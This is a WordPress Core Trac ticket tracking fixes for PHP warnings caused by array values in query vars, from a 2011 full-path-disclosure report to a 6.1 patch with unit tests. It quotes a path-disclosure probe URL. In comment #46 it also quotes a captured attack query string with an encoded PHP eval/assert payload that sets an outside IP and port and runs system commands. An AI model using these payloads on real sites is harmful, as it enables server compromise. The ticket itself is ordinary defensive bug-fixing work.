Make WordPress Core

Opened 13 years ago

Closed 20 months ago

Last modified 6 months ago

#17737 closed defect (bug) (fixed)

Be better at forcing data types for query vars

Reported by: juliobox's profile juliobox Owned by: johnbillion's profile johnbillion
Milestone: 6.1 Priority: normal
Severity: normal Version: 3.0
Component: Query Keywords: has-patch has-screenshots needs-testing early has-unit-tests
Focuses: Cc:

Description

I already email this flaw to security@… but Andrew Nacin told me that this is not a WordPress flaw, but php server config flaw. So i post this here now.


Exploit : http://WEBSITE.COM/?author[]=1
Problem : FPD (https://www.owasp.org/index.php/Full_Path_Disclosure)
Solution : Add this "@ini_set('display_errors', 0);" or this "error_reporting(0);" in the end of wp-config.php file.
Patch :
1) wp-includes/query.php line 2239
Replace

$q['author'] = (string)urldecode($q['author']);

by

if ( is_array( $q['author'] ) ) {
$q['author'] = $q['author'][0];
}
$q['author'] = (string)urldecode($q['author']);

2) wp-includes/canonical.php line 142
Replace

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) {

by

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', !is_array($_GET['author']) ? $_GET['author'] : $_GET['author'][0] ) ) {


Julio - http://www.boiteaweb.fr

Attachments (12)

17737.patch (519 bytes) - added by xknown 13 years ago.
urldecode returns a string, move the cast to the right place
17737.2.patch (1.5 KB) - added by SergeyBiryukov 13 years ago.
17737.3.patch (4.4 KB) - added by SergeyBiryukov 11 years ago.
17737.4.patch (778 bytes) - added by SergeyBiryukov 11 years ago.
17737.5.patch (7.0 KB) - added by SergeyBiryukov 11 years ago.
17737.diff (4.4 KB) - added by wonderboymusic 10 years ago.
44652.diff (996 bytes) - added by arcturusink 6 years ago.
17737.6.diff (2.9 KB) - added by tellyworth 4 years ago.
Refreshed and expanded
Capture d’écran 2021-03-30 à 11.31.16.png (230.0 KB) - added by audrasjb 3 years ago.
Before 17737.7.diff
Capture d’écran 2021-03-30 à 11.55.17.png (102.8 KB) - added by audrasjb 3 years ago.
After 17737.7.diff
17737.7.diff (3.0 KB) - added by audrasjb 3 years ago.
Patch refresh + add is_scalar conditional statement for author
17737.8.diff (6.1 KB) - added by johnregan3 21 months ago.
Unit Tests & Minor update

Download all attachments as: .zip

Change History (86)

#1 @nacin
13 years ago

  • Component changed from Security to Query
  • Severity changed from major to normal

The bug here being that we should be checking or forcing data types on a number of query vars, (such as author, p, post, etc, that only take integers).

#2 follow-up: @juliobox
13 years ago

FPD is considered as an attack by OWASP, this is not to be taken lightly.

Thank you for your responses Nacin :)

#3 in reply to: ↑ 2 @nacin
13 years ago

Replying to juliobox:

FPD is considered as an attack by OWASP, this is not to be taken lightly.

We know, but path disclosure via PHP errors is a server configuration issue, not an application issue.

#4 @juliobox
13 years ago

I do not want to argue but I do not agree with "path disclosure via PHP errors is a server configuration issue, not an application issue" :]

@xknown
13 years ago

urldecode returns a string, move the cast to the right place

#5 @nacin
13 years ago

  • Summary changed from Full Path Disclosure to Be better at forcing data types for query vars
  • Version changed from 3.2 to 3.0

#6 @SergeyBiryukov
13 years ago

  • Keywords has-patch added

17737.2.patch handles author, cat and orderby. Other int query vars don't seem to throw notices when being passed as an array.

Probably need to handle author_name and category_name (they also throw notices in that case).

#7 @nacin
11 years ago

  • Milestone changed from Awaiting Review to 3.6

I think 's' also throws a warning.

#8 @SergeyBiryukov
11 years ago

#23425 was marked as a duplicate.

#9 @SergeyBiryukov
11 years ago

#23425 mentions ?page[] and ?s[].

#10 follow-up: @dave1010
11 years ago

I believe this patch will still show a notice. From the PHP 5.4 changelog:

Changed silent conversion of array to string to produce a notice.

$ php -r '(string)[];'

PHP Notice: Array to string conversion in Command line code on line 1

#11 @ryan
11 years ago

  • Milestone changed from 3.6 to Future Release

#12 @wonderboymusic
11 years ago

  • Milestone changed from Future Release to 3.7

Sergey's patch still applies cleanly, moving to 3.7 for review

#13 in reply to: ↑ 10 @duck_
11 years ago

  • Keywords needs-patch added; has-patch removed

Replying to dave1010:

I believe this patch will still show a notice.

Yes. Tested with PHP 5.5.2.

#14 @SergeyBiryukov
11 years ago

17737.3.patch is another take. Handles attachment, name, pagename, category_name, cat, author, author_name, s, page, orderby.

#15 @SergeyBiryukov
11 years ago

17737.4.patch is another take, based on a brief IRC discussion.

It looks like post_type is the only public query variable that can be an array.

#16 follow-up: @nacin
11 years ago

I think 17737.3.patch is a step in the right direction. But, an array for any of these is invalid input, and I think should be discarded.
If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

17737.4.patch seems too broad. It can stomp on 3rd-party query vars, no?

#17 in reply to: ↑ 16 @SergeyBiryukov
11 years ago

  • Keywords has-patch added; needs-patch removed

Replying to nacin:

If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

The checks if a query var is set are a bit inconsistent: sometimes it's '' != $qv, other times it's ! empty() or isset(). Looks like an unset may not always be appropriate.

17737.5.patch adds an is_array() check to some existing conditions and assignments that cause a notice.

#18 @johnbillion
10 years ago

This patch appears to be stale. @SergeyBiryukov can you refresh it, possibly without the whitespace-only changes for clarity?

#19 @johnbillion
10 years ago

  • Keywords needs-refresh added

#20 @wonderboymusic
10 years ago

Refreshed, I'll wait for PowerSerge to chime in here. I got rid of the whitespace changes just so the patch is easier to digest. In general, I like whitespace improvements, but I see how they can be a buzzkill when viewing the diff.

#21 @wonderboymusic
10 years ago

  • Keywords needs-refresh removed

#22 @nacin
10 years ago

  • Milestone changed from 3.7 to 3.8

Let's make sure we get this right.

#23 @SergeyBiryukov
10 years ago

#26308 was marked as a duplicate.

#24 @wonderboymusic
10 years ago

  • Keywords 3.9-early added
  • Milestone changed from 3.8 to Future Release

#25 @SergeyBiryukov
10 years ago

#26583 was marked as a duplicate.

#26 @IwanLuijksQuestMedia
10 years ago

What is the status of this ticket?

I currently still run into this issue (on the search page), using an array of terms for the taxonomy in the querystring, like so (where 'country' is added to the querystring through a form submission using the GET method):
country[]=nl&country[]=de

The search actually does work, but causes a number of PHP errors:

Warning: strpos() expects parameter 1 to be string, array given in /<path>/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /<path>/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /<path>/wp-includes/query.php on line 1768

Warning: strpos() expects parameter 1 to be string, array given in /<path>/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /<path>/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /<path>/wp-includes/query.php on line 1768
Last edited 10 years ago by IwanLuijksQuestMedia (previous) (diff)

This ticket was mentioned in IRC in #wordpress-dev by SergeyBiryukov. View the logs.


10 years ago

#29 @juliobox
9 years ago

Hey guys what do we need to close this ticket now? Thanks!

#30 @SergeyBiryukov
6 years ago

#44652 was marked as a duplicate.

#31 @SergeyBiryukov
6 years ago

  • Milestone changed from Future Release to 5.0
  • Owner set to SergeyBiryukov
  • Status changed from new to reviewing

Instead of ! is_array(), it's probably better to check is_string() specifically, see the patch on #44652.

@arcturusink
6 years ago

#32 @arcturusink
6 years ago

Made a mistake and uploaded the patch as 44652 instead of 17737. Any suggestion on how to fix it?

#33 @peterwilsoncc
5 years ago

  • Milestone changed from 5.0 to 5.1

Moving to the 5.1 milestone due to the WordPress 5.0 focus on the new
editor (Gutenberg).

#34 @johnjamesjacoby
5 years ago

Blast from the past.

Started seeing ?author[]=1 requests fill up my error logs in the past 24 hours.

#35 @johnjamesjacoby
5 years ago

  • Keywords 3.9-early removed

#36 @pento
5 years ago

  • Milestone changed from 5.1 to Future Release

Patch need refreshing, testing, review, etc.

#37 @SergeyBiryukov
5 years ago

#46797 was marked as a duplicate.

#38 @desrosj
5 years ago

#46799 was marked as a duplicate.

#39 @desrosj
5 years ago

  • Keywords needs-refresh added

#40 @knutsp
5 years ago

#46810 was marked as a duplicate.

@tellyworth
4 years ago

Refreshed and expanded

#41 follow-up: @tellyworth
4 years ago

attachment:17737.6.diff is refreshed for trunk, and incorporates ideas from several prior patches. It passes the current unit tests but doesn't include new ones.

A couple of notes:

  • I've used is_scalar() and defaulted to '' or 0 depending on the context. That's probably equivalent to prior behaviour but there might be subtle edge cases that aren't covered by tests.
  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param. There's test coverage for cat (see test_category_querystring_multiple_terms_formatted_as_array) but not author.

#42 in reply to: ↑ 41 ; follow-up: @dd32
4 years ago

Replying to tellyworth:

  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

#43 @SergeyBiryukov
4 years ago

#50022 was marked as a duplicate.

#44 @SergeyBiryukov
4 years ago

#50067 was marked as a duplicate.

#45 @SergeyBiryukov
4 years ago

#50474 was marked as a duplicate.

#46 @jamieburchell
3 years ago

Seeing this in my logs today:

Warning: trim() expects parameter 1 to be string, array given /wp-includes/class-wp-query.php in WP_Query::parse_query at line 779

This seems to be

$qv['name'] = trim( $qv['name'] );

Query string payload:

?name%5B%23markup%5D=eval%28base64_decode%28%29%22Lyo8P3BocCAvKiovCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTsKJGRpcz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYoIWVtcHR5KCRkaXMpKXsKJGRpcz1wcmVnX3JlcGxhY2UoIi9bLCBdKy8iLCAiLCIsICRkaXMpOwokZGlzPWV4cGxvZGUoIiwiLCAkZGlzKTsKJGRpcz1hcnJheV9tYXAoInRyaW0iLCAkZGlzKTsKfWVsc2V7CiRkaXM9YXJyYXkoKTsKfQoKJGlwYWRkcj0iMTkzLjIzOS4xNDcuMjI0IjsKJHBvcnQ9OTk5OTsKCmlmKCFmdW5jdGlvbl9leGlzdHMoIkpqV3piayIpKXsKZnVuY3Rpb24gSmpXemJrKCRjKXsKZ2xvYmFsICRkaXM7CgokSlRLR0ZFPSJpc19jYWxsYWJsZSI7CiRUQUNXZ1BQPSJpbl9hcnJheSI7CgppZigkSlRLR0ZFKCJzeXN0ZW0iKWFuZCEkVEFDV2dQUCgic3lzdGVtIiwkZGlzKSl7Cm9iX3N0YXJ0KCk7CnN5c3RlbSgkYyk7CiRvPW9iX2dldF9jb250ZW50cygpOwpvYl9lbmRfY2xlYW4oKTsKfWVsc2UKaWYoJEpUS0dGRSgiZXhlYyIpYW5kISRUQUNXZ1BQKCJleGVjIiwkZGlzKSl7CiRvPWFycmF5KCk7CmV4ZWMoJGMsJG8pOwokbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7Cn1lbHNlCmlmKCRKVEtHRkUoInByb2Nfb3BlbiIpYW5kISRUQUNXZ1...&name%5B%23post_render%5D%5B%5D=assert&q=%5BFiltered%5D

#47 @mikeyarce
3 years ago

@SergeyBiryukov - are there any current blockers to move this forward? Anything I can do to help this get into a release?

@audrasjb
3 years ago

Before 17737.7.diff

@audrasjb
3 years ago

Patch refresh + add is_scalar conditional statement for author

#48 in reply to: ↑ 42 @audrasjb
3 years ago

  • Keywords has-screenshots added; needs-refresh removed
  • Milestone changed from Future Release to 5.8

In 17737.7.diff:

  • I refreshed the patch against trunk
  • I added one more is_scalar() check for author (see @dd32’s comment)

Moving this ticket for 5.8 consideration.

Replying to dd32:

Replying to tellyworth:

  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

#49 @SergeyBiryukov
3 years ago

#53018 was marked as a duplicate.

#50 @hellofromTonya
3 years ago

  • Keywords needs-testing added
  • Milestone changed from 5.8 to 5.9

Today is 5.8 Beta 1. The patch needs review, maybe unit tests, and manual testing. Punting to 5.9 (instead of Future Release) to finish the last bits.

#51 @hellofromTonya
2 years ago

  • Keywords early needs-unit-tests added

Query changes by design need careful consideration and plenty of soak time to ensure nothing breaks. With 5.9 feature freeze ~2 days away and Beta 1 in ~9 days, it's too late in the release cycle for a change to query. Punting this out of 5.9. As the next milestone is not yet available, moving to Future Release. Once available, feel free to move into the next release.

#52 @hellofromTonya
2 years ago

  • Milestone changed from 5.9 to Future Release

Whoopsie forgot to change the milestone.

#53 @SergeyBiryukov
2 years ago

#54494 was marked as a duplicate.

@johnregan3
21 months ago

Unit Tests & Minor update

#54 @johnregan3
21 months ago

Added tests to 17737.8.diff

While writing tests, I found that non-scalar values passed to a few fields ($qv['minute'], $qv['menu_order'], etc) were slipping through. These are fixed now.

Unit Tests FTW!

@SergeyBiryukov Polite bump.

#55 @SergeyBiryukov
21 months ago

  • Milestone changed from Future Release to 6.1

#56 @ironprogrammer
21 months ago

  • Keywords has-unit-tests added; needs-unit-tests removed

This ticket was mentioned in Slack in #core by audrasjb. View the logs.


21 months ago

#58 @audrasjb
21 months ago

As per today's bug scrub, the last patch still applies against trunk and it looks like it's fixing the issue and it has unit tests. @SergeyBiryukov are we good to ship it early? It would be nice since it is an early-tagged ticket.

This ticket was mentioned in Slack in #core by chaion07. View the logs.


20 months ago

This ticket was mentioned in Slack in #core by audrasjb. View the logs.


20 months ago

#61 @audrasjb
20 months ago

  • Owner changed from SergeyBiryukov to johnbillion

As per today's bugscrub, @johnbillion proposed to take another look on the patch to see if it can be committed in time for 6.1-early.

#63 @johnbillion
20 months ago

  • Resolution set to fixed
  • Status changed from reviewing to closed

In 53891:

Query: Be better at forcing data types for query vars.

Several query vars only accept a scalar value and pass the value through functions that assume a scalar value. Adding extra guard conditions to the types of query vars doesn't affect their functionality but does remove PHP notices and warnings that can otherwise be generated when a non-scalar value such as an array is present in a query var.

Props juliobox, xknown, SergeyBiryukov, dave1010, nacin, tellyworth, dd32, audrasjb, johnregan3

Fixes #17737

This ticket was mentioned in PR #4920 on WordPress/wordpress-develop by BrookeDot.


8 months ago
#65

This PR builds on the work completed with the closure of https://core.trac.wordpress.org/ticket/17737

It ensures that the value of $page in a query is scalar prior to attempting to trim or assign it to an absint avoiding a fatal error if an array is passed.

Fixes: (comment 2)

@SergeyBiryukov commented on PR #4920:


8 months ago
#66

Thanks for the PR! Left a minor comment, looks good to me otherwise 🙂

BrookeDot commented on PR #4920:


8 months ago
#67

Thanks for the PR! Left a minor comment, looks good to me otherwise 🙂

Yep, I did briefly think about that ;)

@mukesh27 commented on PR #4920:


6 months ago
#68

@BrookeDot Could you please rebase your PR?

BrookeDot commented on PR #4920:


6 months ago
#69

Could you please rebase your PR?

@mukeshpanchal27 against trunk right?

@mukesh27 commented on PR #4920:


6 months ago
#70

Yes

BrookeDot commented on PR #4920:


6 months ago
#71

I think I did it @mukeshpanchal27 I see the tests are running now.

Let me know, I'm new to contributing via GitHub :D

BrookeDot commented on PR #4920:


6 months ago
#72

Looks like one test failed, unrelated to the PR. Can you run it again?

@mukesh27 commented on PR #4920:


6 months ago
#73

Thanks @BrookeDot, For the https://github.com/WordPress/wordpress-develop/pull/4920#discussion_r1346856772 i would like to get @SergeyBiryukov thought.

@SergeyBiryukov commented on PR #4920:


6 months ago
#74

Thanks for the PR! Merged in r56815.

Note: See TracTickets for help on using tickets.